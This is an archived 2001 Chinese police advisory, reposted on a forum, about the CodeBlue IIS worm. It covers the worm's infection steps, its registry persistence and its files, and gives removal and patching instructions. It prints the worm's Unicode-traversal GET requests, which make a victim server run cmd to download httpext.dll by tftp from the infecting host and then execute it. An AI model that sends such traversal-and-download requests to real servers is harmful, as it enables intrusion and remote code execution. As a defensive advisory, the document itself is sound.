精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆病毒专区◆>>关于防范“蓝色代码”病毒的紧急通知

主题:关于防范“蓝色代码”病毒的紧急通知
发信人: vampiredragon(疯狂追星族)
整理人: starseacn(2001-10-05 09:51:46), 站内信件
-----------------------
据公安部检测,近来一种称为“蓝色代码”(Worm.IIS.CodeBlue)的计算
机病毒已经开始在我国部分用户中流行。为了确保我市计算机网络的安全可
靠运行,提高抗攻击能力,特发出此通知。 
    该病毒采用内存到内存的传播机理,主要感染Windows NT和Windows 2000
系统服务器。由于其攻击微软inetinfo.exeIIS服务程序的漏洞,并植入名为
SvcHost.EXE的黑客程序运行,该蠕虫病毒将在服务器内存中不断地生成新的
线程,最终导致系统运行缓慢,甚至瘫痪;如果操作系统是Windows 2000会将
该系统的IIS Admin服务停止运行,导致无法对外提供Web服务,服务器彻底瘫
痪。 
    蠕虫运行会生成“C:\d.vbs”脚本程序,该脚本程序运行时将停止所有“
.ida,.idq,.printer”的系统服务;同时尝试下载“httpext.dll”到“C:\”
以及“C:\inetpub\scripts\httpext.dll”。 
    与“红色代码”相比, 红色代码主要攻击IIS中的索引服务,而“蓝色代码”
针对IIS自身的Unicode漏洞,攻击范围更广,传染性更强,黑客程序运行后将全
面控制被感染的系统,同时修改注册表中有关IIS的设置,并在开机时启动程序SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\的注册表项,添加了自动
运行黑客程序SvcHost.EXE的功能,重新启动时黑客程序将自动运行,因此造成
的破坏性将比红色代码更加可怕。
    一、该病毒是基于网络传播的,它不感染文件。该病毒包括三个文件:
    svchost.exe,d.vbs,httpext.dll,其中httpext.dll运行时会产生一个
svchost.exe,svchost.exe运行时会产生d.vbs。svchost.exe和httpext.dll
都是用VC编写的,svchost.exe在编译完成后用UPX进行了压缩;httpext.dll
使用了Microsoft的MFC。
    该病毒主要主向被感染主机发GET请求,GET请求是WEB服务的基本命令,它
向WEB服务器请求一个页面,WEB服务器可以运行某些程序,来生成这些页面。对
于IIS服务器来说,它一般有一个虚拟根scripts(安装IIS时自动建立的),该
虚拟根下的脚本或程序可以根据用户的请求进行执行,虚拟根对应于磁盘上一个
目录,IIS严重问题在于用户能通过该虚拟根执行它对应目录的上一级目录或
其它目录中的程序,但这需要利用IIS服务的UNICODE漏洞,即将某些字符串在
作为UNICODE转换时错误地转换为“\”,即WINDOWS的路径分隔符,因此使客户
可以执行IIS服务器上的一些文件。
二、该病毒初始传染条件为,httpext.dll在C盘根目录,启动svchost.exe
即可感染,开始感染其它机器者称为本机,被感染对象称为被感染主机,下同。
第一步:本机svchost进程调用_beginthread函数创建一个线程,该线程建立
一个基本于UDP协议的文件传输服务器,即tftp服务器,它的作用就是向请求者
发送文件httpext.dll(将文件C:\httpext.dll读入内存,然后等待用户请求)。
第二步:本机svchost进程注册一个窗口类,类名为worm, 按此类创建一个隐藏
窗口。
第三步:这一步到第六步都是本机svchost进程的窗口函数在处理WM_CRERATE
消息时完成的。首先1、在本机设立一个已感染标识,为一全局的名为CodeBlue
的原子(GlobalAtom);
2、修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\
CURRENTVERSION\RUN中建一项,名为Domain Manager以在每次启动系统时自动
运行svchost.exe;3、将C:\svchost.exe和C:\httpext.dll文件改为系统、
隐藏属性。
第四步:产生文件C:\D.VBS,并启动wscript.exe运行该文件。如果本机的当前
操作系统是WINDOWS 2000的话,查找本机的inetinfo.exe进程,并试图结束该
进程。
第五步:调用_beginthread函数创建100个感染线程。每创建一个感染线程,休眠
137毫秒,再创建下一个感染线程。
第六步:休眼5秒后将本机的C:\D.VBS文件删除。 三、感染线程的工作过程如下:
第一步、调用系统API GetSystemTime取本机系统当前时间(UTC时间),如果小时
数大于10且小于11(不可能满足的条件),攻击211.99.196.135(绿盟英文网站)。
第二步、随机生成一个IP地址,如果得到的IP地址为A类地址,则将IP地址的后
两段变为自己IP地址的后两段,否则,直接用计算出的IP地址,该地址即为被
感染主机的IP地址。连接被感染主机的80端口,如果连接失败,根据IP地址休眠
最多4097毫秒后,重复这一步感染下一个地址;如果成功再向被感染主机发送
请求“HEAD / HTTP/1.0”请求,此请求要求被感染主机回答是否支持HTTP 1.0
且为IIS服务器,如果不是IIS服务器,重复这一步,感染下一个地址,如果是,
继续下一步。
第三步、检测被感染主机的IIS服务器的UNICODE漏洞,这种检测最多重试7次,
如果成功,转下步,否则,转第一步。
第四步、调用_beginthread函数创建一个感染线程,向被感染主机发送请求:“GET /scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/
c+tftp+-I+YY+get+httpext.dll”XX为检测到的漏洞串,YY为本机IP地址,它
的作用是启动被感染主机winnt/system32目录的tftp.exe程序,“-i”让该程序
以二进进方式从本机取httpext.dll (本机已在svchost.exe启动时建立了tftp
服务器),httpext.dll被传到被感染主机scripts目录中。
第五步、休眼2秒,向被感染主机发请求:
“GET /scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/
c+copy+httpext.dll+c:\”,它的作用是让被感染主机将scripts目录
httpext.dll文件从拷贝到被感染主机的C盘根目录下。
第六步、向被感染主机发请求:“GET /scripts/httpext.dll”。此请求导致
被感染主机的IIS服务器运行scripts目录中的httpext.dll,httpext.dll将检
查被感染主机是否有CodeBlue这个全局原子(GlobalAtom),如果没有,生成
svchost.exe,并运行它。这一步如果失败,将最多重试3次。至此感染过程完成。 

四、关于D.VBS
此脚本文件将删除本机IIS服务的三个影射.IDA、.IDQ和.printer。 

防范措施 

1、先将您的网线断掉;
2、安装防病毒软件并将其升级到最新版本,对您的机器进行单机查杀病毒;
3、参照上面的病毒特征,检查您的机器是否已经被感染,如果是,请立即修复;

在 DOS 环境下,清除C:\svchost.exe和C:\httpext.dll文件(隐藏文件)
ATTRIB C:\svchost.exe -H -A -R 回车键 
DEL C:\svchost.exe
ATTRIB C:\httpext.dll -H -A -R 回车键 
DEL C:\httpext.dll


4、下载和安装微软公司针对“蓝色代码”的补丁程序
  Windows NT 的“蓝色代码”补丁程序(中文版)[要先打NT Pack 5;已经
打了NT Pack 7的服务器不用打该“蓝色代码”补丁]
  Windows 2000的“蓝色代码”补丁程序(中文版)[要先打Win2000 Pack 1;
打了Windows 2000 Pack 2的机器不用打该“蓝色代码”补丁]      
   微软补丁地址:
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/

http://www.microsoft.com/windows2000/downloads/critical/q269862/

    各联单位要认真作好防范措施,并打上相应补丁,防止病毒的感染,确保我
市计算机网络的安全可靠运行。


                                 汕头市公安局计算机管理监察科
                                      二00一年九月八日

[关闭][返回]